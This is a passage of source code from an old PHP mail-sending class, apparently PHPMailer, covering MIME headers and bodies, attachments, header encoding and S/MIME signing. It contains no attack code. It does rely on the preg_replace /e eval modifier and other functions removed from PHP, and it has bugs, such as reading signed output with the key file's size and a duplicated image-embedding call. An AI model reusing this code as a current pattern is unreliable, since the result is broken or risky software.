2219 $result .= $this->AddrAppend('Cc', $this->cc);
2220 }
2221 }
2222
2223 $from = array();
2224 $from[0][0] = trim($this->From);
2225 $from[0][1] = $this->FromName;
2226 $result .= $this->AddrAppend('From', $from);
2227
2228 /* sendmail and mail() extract Cc from the header before sending */
2229 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2230 $result .= $this->AddrAppend('Cc', $this->cc);
2231 }
2232
2233 /* sendmail and mail() extract Bcc from the header before sending */
2234 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2235 $result .= $this->AddrAppend('Bcc', $this->bcc);
2236 }
2237 if($replyto != "")
2238 {
2239 if(count($this->ReplyTo) > 0) {
2240 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2241 }
2242 }
2243 /* mail() sets the subject itself */
2244 if($this->Mailer != 'mail') {
2245 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2246 }
2247
2248 if($this->MessageID != '') {
2249 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2250 } else {
2251 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2252 }
2253 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2254 if($this->ConfirmReadingTo != '') {
2255 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2256 }
2257
2258 // Add custom headers
2259 for($index = 0; $index < count($this->CustomHeader); $index++) {
2260 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2261 }
2262 if (!$this->sign_key_file) {
2263 $result .= $this->HeaderLine('MIME-Version', '1.0');
2264 $result .= $this->GetMailMIME();
2265 }
2266
2267 return $result;
2268 }
2269
2270 /**
2271 * Returns the message MIME.
2272 * @access private
2273 * @return string
2274 */
2275 function GetMailMIME() {
2276 $result = '';
2277 switch($this->message_type) {
2278 case 'plain':
2279 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2280 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2281 break;
2282 case 'attachments':
2283 /* fall through */
2284 case 'alt_attachments':
2285 if($this->InlineImageExists()){
2286 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2287 } else {
2288 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2289 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2290 }
2291 break;
2292 case 'alt':
2293 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2294 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2295 break;
2296 }
2297
2298 if($this->Mailer != 'mail') {
2299 $result .= $this->LE.$this->LE;
2300 }
2301
2302 return $result;
2303 }
2304
2305 /**
2306 * Assembles the message body. Returns an empty string on failure.
2307 * @access private
2308 * @return string
2309 */
2310 function CreateBody() {
2311 $result = '';
2312 if ($this->sign_key_file) {
2313 $result .= $this->GetMailMIME();
2314 }
2315
2316 $this->SetWordWrap();
2317
2318 switch($this->message_type) {
2319 case 'alt':
2320 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2321 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2322 $result .= $this->LE.$this->LE;
2323 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2324 $result .= $this->EncodeString($this->Body, $this->Encoding);
2325 $result .= $this->LE.$this->LE;
2326 $result .= $this->EndBoundary($this->boundary[1]);
2327 break;
2328 case 'plain':
2329 $result .= $this->EncodeString($this->Body, $this->Encoding);
2330 break;
2331 case 'attachments':
2332 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2333 $result .= $this->EncodeString($this->Body, $this->Encoding);
2334 $result .= $this->LE;
2335 $result .= $this->AttachAll();
2336 break;
2337 case 'alt_attachments':
2338 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2339 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2340 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2341 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2342 $result .= $this->LE.$this->LE;
2343 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2344 $result .= $this->EncodeString($this->Body, $this->Encoding);
2345 $result .= $this->LE.$this->LE;
2346 $result .= $this->EndBoundary($this->boundary[2]);
2347 $result .= $this->AttachAll();
2348 break;
2349 }
2350
2351 if($this->IsError()) {
2352 $result = '';
2353 } else if ($this->sign_key_file) {
2354 $file = tempnam("", "mail");
2355 $fp = fopen($file, "w");
2356 fwrite($fp, $result);
2357 fclose($fp);
2358 $signed = tempnam("", "signed");
2359
2360 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2361 $fp = fopen($signed, "r");
2362 $result = fread($fp, filesize($this->sign_key_file));
2363 fclose($fp);
2364 } else {
2365 $this->SetError($this->Lang("signing").openssl_error_string());
2366 $result = '';
2367 }
2368
2369 unlink($file);
2370 unlink($signed);
2371 }
2372
2373 return $result;
2374 }
2375
2376 /**
2377 * Returns the start of a message boundary.
2378 * @access private
2379 */
2380 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2381 $result = '';
2382 if($charSet == '') {
2383 $charSet = $this->CharSet;
2384 }
2385 if($contentType == '') {
2386 $contentType = $this->ContentType;
2387 }
2388 if($encoding == '') {
2389 $encoding = $this->Encoding;
2390 }
2391 $result .= $this->TextLine('--' . $boundary);
2392 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2393 $result .= $this->LE;
2394 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2395 $result .= $this->LE;
2396
2397 return $result;
2398 }
2399
2400 /**
2401 * Returns the end of a message boundary.
2402 * @access private
2403 */
2404 function EndBoundary($boundary) {
2405 return $this->LE . '--' . $boundary . '--' . $this->LE;
2406 }
2407
2408 /**
2409 * Sets the message type.
2410 * @access private
2411 * @return void
2412 */
2413 function SetMessageType() {
2414 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2415 $this->message_type = 'plain';
2416 } else {
2417 if(count($this->attachment) > 0) {
2418 $this->message_type = 'attachments';
2419 }
2420 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2421 $this->message_type = 'alt';
2422 }
2423 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2424 $this->message_type = 'alt_attachments';
2425 }
2426 }
2427 }
2428
2429 /* Returns a formatted header line.
2430 * @access private
2431 * @return string
2432 */
2433 function HeaderLine($name, $value) {
2434 return $name . ': ' . $value . $this->LE;
2435 }
2436
2437 /**
2438 * Returns a formatted mail line.
2439 * @access private
2440 * @return string
2441 */
2442 function TextLine($value) {
2443 return $value . $this->LE;
2444 }
2445
2446 /////////////////////////////////////////////////
2447 // CLASS METHODS, ATTACHMENTS
2448 /////////////////////////////////////////////////
2449
2450 /**
2451 * Adds an attachment from a path on the filesystem.
2452 * Returns false if the file could not be found
2453 * or accessed.
2454 * @param string $path Path to the attachment.
2455 * @param string $name Overrides the attachment name.
2456 * @param string $encoding File encoding (see $Encoding).
2457 * @param string $type File extension (MIME) type.
2458 * @return bool
2459 */
2460 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2461 if(!@is_file($path)) {
2462 $this->SetError($this->Lang('file_access') . $path);
2463 return false;
2464 }
2465
2466 $filename = basename($path);
2467 if($name == '') {
2468 $name = $filename;
2469 }
2470
2471 $cur = count($this->attachment);
2472 $this->attachment[$cur][0] = $path;
2473 $this->attachment[$cur][1] = $filename;
2474 $this->attachment[$cur][2] = $name;
2475 $this->attachment[$cur][3] = $encoding;
2476 $this->attachment[$cur][4] = $type;
2477 $this->attachment[$cur][5] = false; // isStringAttachment
2478 $this->attachment[$cur][6] = 'attachment';
2479 $this->attachment[$cur][7] = 0;
2480
2481 return true;
2482 }
2483
2484 /**
2485 * Attaches all fs, string, and binary attachments to the message.
2486 * Returns an empty string on failure.
2487 * @access private
2488 * @return string
2489 */
2490 function AttachAll() {
2491 /* Return text of body */
2492 $mime = array();
2493
2494 /* Add all attachments */
2495 for($i = 0; $i < count($this->attachment); $i++) {
2496 /* Check for string attachment */
2497 $bString = $this->attachment[$i][5];
2498 if ($bString) {
2499 $string = $this->attachment[$i][0];
2500 } else {
2501 $path = $this->attachment[$i][0];
2502 }
2503
2504 $filename = $this->attachment[$i][1];
2505 $name = $this->attachment[$i][2];
2506 $encoding = $this->attachment[$i][3];
2507 $type = $this->attachment[$i][4];
2508 $disposition = $this->attachment[$i][6];
2509 $cid = $this->attachment[$i][7];
2510
2511 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2512 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2513 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2514
2515 if($disposition == 'inline') {
2516 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2517 }
2518
2519 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2520
2521 /* Encode as string attachment */
2522 if($bString) {
2523 $mime[] = $this->EncodeString($string, $encoding);
2524 if($this->IsError()) {
2525 return '';
2526 }
2527 $mime[] = $this->LE.$this->LE;
2528 } else {
2529 $mime[] = $this->EncodeFile($path, $encoding);
2530 if($this->IsError()) {
2531 return '';
2532 }
2533 $mime[] = $this->LE.$this->LE;
2534 }
2535 }
2536
2537 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2538
2539 return join('', $mime);
2540 }
2541
2542 /**
2543 * Encodes attachment in requested format. Returns an
2544 * empty string on failure.
2545 * @access private
2546 * @return string
2547 */
2548 function EncodeFile ($path, $encoding = 'base64') {
2549 if(!@$fd = fopen($path, 'rb')) {
2550 $this->SetError($this->Lang('file_open') . $path);
2551 return '';
2552 }
2553 $magic_quotes = get_magic_quotes_runtime();
2554 set_magic_quotes_runtime(0);
2555 $file_buffer = fread($fd, filesize($path));
2556 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2557 fclose($fd);
2558 set_magic_quotes_runtime($magic_quotes);
2559
2560 return $file_buffer;
2561 }
2562
2563 /**
2564 * Encodes string to requested format. Returns an
2565 * empty string on failure.
2566 * @access private
2567 * @return string
2568 */
2569 function EncodeString ($str, $encoding = 'base64') {
2570 $encoded = '';
2571 switch(strtolower($encoding)) {
2572 case 'base64':
2573 /* chunk_split is found in PHP >= 3.0.6 */
2574 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2575 break;
2576 case '7bit':
2577 case '8bit':
2578 $encoded = $this->FixEOL($str);
2579 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2580 $encoded .= $this->LE;
2581 break;
2582 case 'binary':
2583 $encoded = $str;
2584 break;
2585 case 'quoted-printable':
2586 $encoded = $this->EncodeQP($str);
2587 break;
2588 default:
2589 $this->SetError($this->Lang('encoding') . $encoding);
2590 break;
2591 }
2592 return $encoded;
2593 }
2594
2595 /**
2596 * Encode a header string to best of Q, B, quoted or none.
2597 * @access private
2598 * @return string
2599 */
2600 function EncodeHeader ($str, $position = 'text') {
2601 $x = 0;
2602
2603 switch (strtolower($position)) {
2604 case 'phrase':
2605 if (!preg_match('/[\200-\377]/', $str)) {
2606 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2607 $encoded = addcslashes($str, "\0..\37\177\\\"");
2608 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2609 return ($encoded);
2610 } else {
2611 return ("\"$encoded\"");
2612 }
2613 }
2614 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2615 break;
2616 case 'comment':
2617 $x = preg_match_all('/[()"]/', $str, $matches);
2618 /* Fall-through */
2619 case 'text':
2620 default:
2621 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2622 break;
2623 }
2624
2625 if ($x == 0) {
2626 return ($str);
2627 }
2628
2629 $maxlen = 75 - 7 - strlen($this->CharSet);
2630 /* Try to select the encoding which should produce the shortest output */
2631 if (strlen($str)/3 < $x) {
2632 $encoding = 'B';
2633 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2634 // Use a custom function which correctly encodes and wraps long
2635 // multibyte strings without breaking lines within a character
2636 $encoded = $this->Base64EncodeWrapMB($str);
2637 } else {
2638 $encoded = base64_encode($str);
2639 $maxlen -= $maxlen % 4;
2640 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2641 }
2642 } else {
2643 $encoding = 'Q';
2644 $encoded = $this->EncodeQ($str, $position);
2645 $encoded = $this->WrapText($encoded, $maxlen, true);
2646 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2647 }
2648
2649 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2650 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2651
2652 return $encoded;
2653 }
2654
2655 /**
2656 * Checks if a string contains multibyte characters.
2657 * @access private
2658 * @param string $str multi-byte text to wrap encode
2659 * @return bool
2660 */
2661 function HasMultiBytes($str) {
2662 if (function_exists('mb_strlen')) {
2663 return (strlen($str) > mb_strlen($str, $this->CharSet));
2664 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2665 return False;
2666 }
2667 }
2668
2669 /**
2670 * Correctly encodes and wraps long multibyte strings for mail headers
2671 * without breaking lines within a character.
2672 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2673 * @access private
2674 * @param string $str multi-byte text to wrap encode
2675 * @return string
2676 */
2677 function Base64EncodeWrapMB($str) {
2678 $start = "=?".$this->CharSet."?B?";
2679 $end = "?=";
2680 $encoded = "";
2681
2682 $mb_length = mb_strlen($str, $this->CharSet);
2683 // Each line must have length <= 75, including $start and $end
2684 $length = 75 - strlen($start) - strlen($end);
2685 // Average multi-byte ratio
2686 $ratio = $mb_length / strlen($str);
2687 // Base64 has a 4:3 ratio
2688 $offset = $avgLength = floor($length * $ratio * .75);
2689
2690 for ($i = 0; $i < $mb_length; $i += $offset) {
2691 $lookBack = 0;
2692
2693 do {
2694 $offset = $avgLength - $lookBack;
2695 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2696 $chunk = base64_encode($chunk);
2697 $lookBack++;
2698 }
2699 while (strlen($chunk) > $length);
2700
2701 $encoded .= $chunk . $this->LE;
2702 }
2703
2704 // Chomp the last linefeed
2705 $encoded = substr($encoded, 0, -strlen($this->LE));
2706 return $encoded;
2707 }
2708
2709 /**
2710 * Encode string to quoted-printable.
2711 * @access private
2712 * @return string
2713 */
2714 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2715 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2716 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2717 $eol = "\r\n";
2718 $escape = '=';
2719 $output = '';
2720 while( list(, $line) = each($lines) ) {
2721 $linlen = strlen($line);
2722 $newline = '';
2723 for($i = 0; $i < $linlen; $i++) {
2724 $c = substr( $line, $i, 1 );
2725 $dec = ord( $c );
2726 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2727 $c = '=2E';
2728 }
2729 if ( $dec == 32 ) {
2730 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2731 $c = '=20';
2732 } else if ( $space_conv ) {
2733 $c = '=20';
2734 }
2735 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2736 $h2 = floor($dec/16);
2737 $h1 = floor($dec%16);
2738 $c = $escape.$hex[$h2].$hex[$h1];
2739 }
2740 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2741 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2742 $newline = '';
2743 // check if newline first character will be point or not
2744 if ( $dec == 46 ) {
2745 $c = '=2E';
2746 }
2747 }
2748 $newline .= $c;
2749 } // end of for
2750 $output .= $newline.$eol;
2751 } // end of while
2752 return trim($output);
2753 }
2754
2755 /**
2756 * Encode string to q encoding.
2757 * @access private
2758 * @return string
2759 */
2760 function EncodeQ ($str, $position = 'text') {
2761 /* There should not be any EOL in the string */
2762 $encoded = preg_replace("[\r\n]", '', $str);
2763
2764 switch (strtolower($position)) {
2765 case 'phrase':
2766 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2767 break;
2768 case 'comment':
2769 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2770 case 'text':
2771 default:
2772 /* Replace every high ascii, control =, ? and _ characters */
2773 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2774 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2775 break;
2776 }
2777
2778 /* Replace every spaces to _ (more readable than =20) */
2779 $encoded = str_replace(' ', '_', $encoded);
2780
2781 return $encoded;
2782 }
2783
2784 /**
2785 * Adds a string or binary attachment (non-filesystem) to the list.
2786 * This method can be used to attach ascii or binary data,
2787 * such as a BLOB record from a database.
2788 * @param string $string String attachment data.
2789 * @param string $filename Name of the attachment.
2790 * @param string $encoding File encoding (see $Encoding).
2791 * @param string $type File extension (MIME) type.
2792 * @return void
2793 */
2794 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2795 /* Append to $attachment array */
2796 $cur = count($this->attachment);
2797 $this->attachment[$cur][0] = $string;
2798 $this->attachment[$cur][1] = $filename;
2799 $this->attachment[$cur][2] = $filename;
2800 $this->attachment[$cur][3] = $encoding;
2801 $this->attachment[$cur][4] = $type;
2802 $this->attachment[$cur][5] = true; // isString
2803 $this->attachment[$cur][6] = 'attachment';
2804 $this->attachment[$cur][7] = 0;
2805 }
2806
2807 /**
2808 * Adds an embedded attachment. This can include images, sounds, and
2809 * just about any other document. Make sure to set the $type to an
2810 * image type. For JPEG images use "image/jpeg" and for GIF images
2811 * use "image/gif".
2812 * @param string $path Path to the attachment.
2813 * @param string $cid Content ID of the attachment. Use this to identify
2814 * the Id for accessing the image in an HTML form.
2815 * @param string $name Overrides the attachment name.
2816 * @param string $encoding File encoding (see $Encoding).
2817 * @param string $type File extension (MIME) type.
2818 * @return bool
2819 */
2820 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2821
2822 if(!@is_file($path)) {
2823 $this->SetError($this->Lang('file_access') . $path);
2824 return false;
2825 }
2826
2827 $filename = basename($path);
2828 if($name == '') {
2829 $name = $filename;
2830 }
2831
2832 /* Append to $attachment array */
2833 $cur = count($this->attachment);
2834 $this->attachment[$cur][0] = $path;
2835 $this->attachment[$cur][1] = $filename;
2836 $this->attachment[$cur][2] = $name;
2837 $this->attachment[$cur][3] = $encoding;
2838 $this->attachment[$cur][4] = $type;
2839 $this->attachment[$cur][5] = false;
2840 $this->attachment[$cur][6] = 'inline';
2841 $this->attachment[$cur][7] = $cid;
2842
2843 return true;
2844 }
2845
2846 /**
2847 * Returns true if an inline attachment is present.
2848 * @access private
2849 * @return bool
2850 */
2851 function InlineImageExists() {
2852 $result = false;
2853 for($i = 0; $i < count($this->attachment); $i++) {
2854 if($this->attachment[$i][6] == 'inline') {
2855 $result = true;
2856 break;
2857 }
2858 }
2859
2860 return $result;
2861 }
2862
2863 /////////////////////////////////////////////////
2864 // CLASS METHODS, MESSAGE RESET
2865 /////////////////////////////////////////////////
2866
2867 /**
2868 * Clears all recipients assigned in the TO array. Returns void.
2869 * @return void
2870 */
2871 function ClearAddresses() {
2872 $this->to = array();
2873 }
2874
2875 /**
2876 * Clears all recipients assigned in the CC array. Returns void.
2877 * @return void
2878 */
2879 function ClearCCs() {
2880 $this->cc = array();
2881 }
2882
2883 /**
2884 * Clears all recipients assigned in the BCC array. Returns void.
2885 * @return void
2886 */
2887 function ClearBCCs() {
2888 $this->bcc = array();
2889 }
2890
2891 /**
2892 * Clears all recipients assigned in the ReplyTo array. Returns void.
2893 * @return void
2894 */
2895 function ClearReplyTos() {
2896 $this->ReplyTo = array();
2897 }
2898
2899 /**
2900 * Clears all recipients assigned in the TO, CC and BCC
2901 * array. Returns void.
2902 * @return void
2903 */
2904 function ClearAllRecipients() {
2905 $this->to = array();
2906 $this->cc = array();
2907 $this->bcc = array();
2908 }
2909
2910 /**
2911 * Clears all previously set filesystem, string, and binary
2912 * attachments. Returns void.
2913 * @return void
2914 */
2915 function ClearAttachments() {
2916 $this->attachment = array();
2917 }
2918
2919 /**
2920 * Clears all custom headers. Returns void.
2921 * @return void
2922 */
2923 function ClearCustomHeaders() {
2924 $this->CustomHeader = array();
2925 }
2926
2927 /////////////////////////////////////////////////
2928 // CLASS METHODS, MISCELLANEOUS
2929 /////////////////////////////////////////////////
2930
2931 /**
2932 * Adds the error message to the error container.
2933 * Returns void.
2934 * @access private
2935 * @return void
2936 */
2937 function SetError($msg) {
2938 $this->error_count++;
2939 $this->ErrorInfo = $msg;
2940 }
2941
2942 /**
2943 * Returns the proper RFC 822 formatted date.
2944 * @access private
2945 * @return string
2946 */
2947 function RFCDate() {
2948 $tz = date('Z');
2949 $tzs = ($tz < 0) ? '-' : '+';
2950 $tz = abs($tz);
2951 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2952 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2953
2954 return $result;
2955 }
2956
2957 /**
2958 * Returns the appropriate server variable. Should work with both
2959 * PHP 4.1.0+ as well as older versions. Returns an empty string
2960 * if nothing is found.
2961 * @access private
2962 * @return mixed
2963 */
2964 function ServerVar($varName) {
2965 global $HTTP_SERVER_VARS;
2966 global $HTTP_ENV_VARS;
2967
2968 if(!isset($_SERVER)) {
2969 $_SERVER = $HTTP_SERVER_VARS;
2970 if(!isset($_SERVER['REMOTE_ADDR'])) {
2971 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2972 }
2973 }
2974
2975 if(isset($_SERVER[$varName])) {
2976 return $_SERVER[$varName];
2977 } else {
2978 return '';
2979 }
2980 }
2981
2982 /**
2983 * Returns the server hostname or 'localhost.localdomain' if unknown.
2984 * @access private
2985 * @return string
2986 */
2987 function ServerHostname() {
2988 if ($this->Hostname != '') {
2989 $result = $this->Hostname;
2990 } elseif ($this->ServerVar('SERVER_NAME') != '') {
2991 $result = $this->ServerVar('SERVER_NAME');
2992 } else {
2993 $result = 'localhost.localdomain';
2994 }
2995
2996 return $result;
2997 }
2998
2999 /**
3000 * Returns a message in the appropriate language.
3001 * @access private
3002 * @return string
3003 */
3004 function Lang($key) {
3005 if(count($this->language) < 1) {
3006 $this->SetLanguage('en'); // set the default language
3007 }
3008
3009 if(isset($this->language[$key])) {
3010 return $this->language[$key];
3011 } else {
3012 return 'Language string failed to load: ' . $key;
3013 }
3014 }
3015
3016 /**
3017 * Returns true if an error occurred.
3018 * @return bool
3019 */
3020 function IsError() {
3021 return ($this->error_count > 0);
3022 }
3023
3024 /**
3025 * Changes every end of line from CR or LF to CRLF.
3026 * @access private
3027 * @return string
3028 */
3029 function FixEOL($str) {
3030 $str = str_replace("\r\n", "\n", $str);
3031 $str = str_replace("\r", "\n", $str);
3032 $str = str_replace("\n", $this->LE, $str);
3033 return $str;
3034 }
3035
3036 /**
3037 * Adds a custom header.
3038 * @return void
3039 */
3040 function AddCustomHeader($custom_header) {
3041 $this->CustomHeader[] = explode(':', $custom_header, 2);
3042 }
3043
3044 /**
3045 * Evaluates the message and returns modifications for inline images and backgrounds
3046 * @access public
3047 * @return $message
3048 */
3049 function MsgHTML($message,$basedir='') {
3050 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3051 if(isset($images[2])) {
3052 foreach($images[2] as $i => $url) {
3053 // do not change urls for absolute images (thanks to corvuscorax)
3054 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3055 $filename = basename($url);
3056 $directory = dirname($url);
3057 ($directory == '.')?$directory='':'';
3058 $cid = 'cid:' . md5($filename);
3059 $fileParts = split("\.", $filename);
3060 $ext = $fileParts[1];
3061 $mimeType = $this->_mime_types($ext);
3062 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3063 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3064 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3065 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3066 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3067 }
3068 }
3069 }
3070 }
3071 $this->IsHTML(true);
3072 $this->Body = $message;
3073 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3074 if ( !empty($textMsg) && empty($this->AltBody) ) {
3075 $this->AltBody = $textMsg;
3076 }
3077 if ( empty($this->AltBody) ) {
3078 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3079 }
3080 }
3081
3082 /**
3083 * Gets the mime type of the embedded or inline image
3084 * @access private
3085 * @return mime type of ext
3086 */
3087 function _mime_types($ext = '') {
3088 $mimes = array(
3089 'hqx' => 'application/mac-binhex40',
3090 'cpt' => 'application/mac-compactpro',
3091 'doc' => 'application/msword',
3092 'bin' => 'application/macbinary',
3093 'dms' => 'application/octet-stream',
3094 'lha' => 'application/octet-stream',
3095 'lzh' => 'application/octet-stream',
3096 'exe' => 'application/octet-stream',
3097 'class' => 'application/octet-stream',
3098 'psd' => 'application/octet-stream',
3099 'so' => 'application/octet-stream',
3100 'sea' => 'application/octet-stream',
3101 'dll' => 'application/octet-stream',
3102 'oda' => 'application/oda',
3103 'pdf' => 'application/pdf',
3104 'ai' => 'application/postscript',
3105 'eps' => 'application/postscript',
3106 'ps' => 'application/postscript',
3107 'smi' => 'application/smil',
3108 'smil' => 'application/smil',
3109 'mif' => 'application/vnd.mif',
3110 'xls' => 'application/vnd.ms-excel',
3111 'ppt' => 'application/vnd.ms-powerpoint',
3112 'wbxml' => 'application/vnd.wap.wbxml',
3113 'wmlc' => 'application/vnd.wap.wmlc',
3114 'dcr' => 'application/x-director',
3115 'dir' => 'application/x-director',
3116 'dxr' => 'application/x-director',
3117 'dvi' => 'application/x-dvi',
3118 'gtar' => 'application/x-gtar',
3119 'php' => 'application/x-httpd-php',
3120 'php4' => 'application/x-httpd-php',
3121 'php3' => 'application/x-httpd-php',
3122 'phtml' => 'application/x-httpd-php',
3123 'phps' => 'application/x-httpd-php-source',
3124 'js' => 'application/x-javascript',
3125 'swf' => 'application/x-shockwave-flash',
3126 'sit' => 'application/x-stuffit',
3127 'tar' => 'application/x-tar',
3128 'tgz' => 'application/x-tar',
3129 'xhtml' => 'application/xhtml+xml',
3130 'xht' => 'application/xhtml+xml',
3131 'zip' => 'application/zip',
3132 'mid' => 'audio/midi',
3133 'midi' => 'audio/midi',
3134 'mpga' => 'audio/mpeg',
3135 'mp2' => 'audio/mpeg',
3136 'mp3' => 'audio/mpeg',
3137 'aif' => 'audio/x-aiff',
3138 'aiff' => 'audio/x-aiff',
3139 'aifc' => 'audio/x-aiff',
3140 'ram' => 'audio/x-pn-realaudio',
3141 'rm' => 'audio/x-pn-realaudio',
3142 'rpm' => 'audio/x-pn-realaudio-plugin',
3143 'ra' => 'audio/x-realaudio',
3144 'rv' => 'video/vnd.rn-realvideo',
3145 'wav' => 'audio/x-wav',
3146 'bmp' => 'image/bmp',
3147 'gif' => 'image/gif',
3148 'jpeg' => 'image/jpeg',
3149 'jpg' => 'image/jpeg',
3150 'jpe' => 'image/jpeg',
3151 'png' => 'image/png',
3152 'tiff' => 'image/tiff',
3153 'tif' => 'image/tiff',
3154 'css' => 'text/css',
3155 'html' => 'text/html',
3156 'htm' => 'text/html',
3157 'shtml' => 'text/html',
3158 'txt' => 'text/plain',
3159 'text' => 'text/plain',
3160 'log' => 'text/plain',
3161 'rtx' => 'text/richtext',
3162 'rtf' => 'text/rtf',
3163 'xml' => 'text/xml',
3164 'xsl' => 'text/xml',
3165 'mpeg' => 'video/mpeg',
3166 'mpg' => 'video/mpeg',
3167 'mpe' => 'video/mpeg',
3168 'qt' => 'video/quicktime',
3169 'mov' => 'video/quicktime',
3170 'avi' => 'video/x-msvideo',
3171 'movie' => 'video/x-sgi-movie',
3172 'doc' => 'application/msword',
3173 'word' => 'application/msword',
3174 'xl' => 'application/excel',
3175 'eml' => 'message/rfc822'
3176 );
3177 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3178 }
3179
3180 /**
3181 * Set (or reset) Class Objects (variables)
3182 *
3183 * Usage Example:
3184 * $page->set('X-Priority', '3');
3185 *
3186 * @access public
3187 * @param string $name Parameter Name
3188 * @param mixed $value Parameter Value
3189 * NOTE: will not work with arrays, there are no arrays to set/reset
3190 */
3191 function set ( $name, $value = '' ) {
3192 if ( isset($this->$name) ) {
3193 $this->$name = $value;
3194 } else {
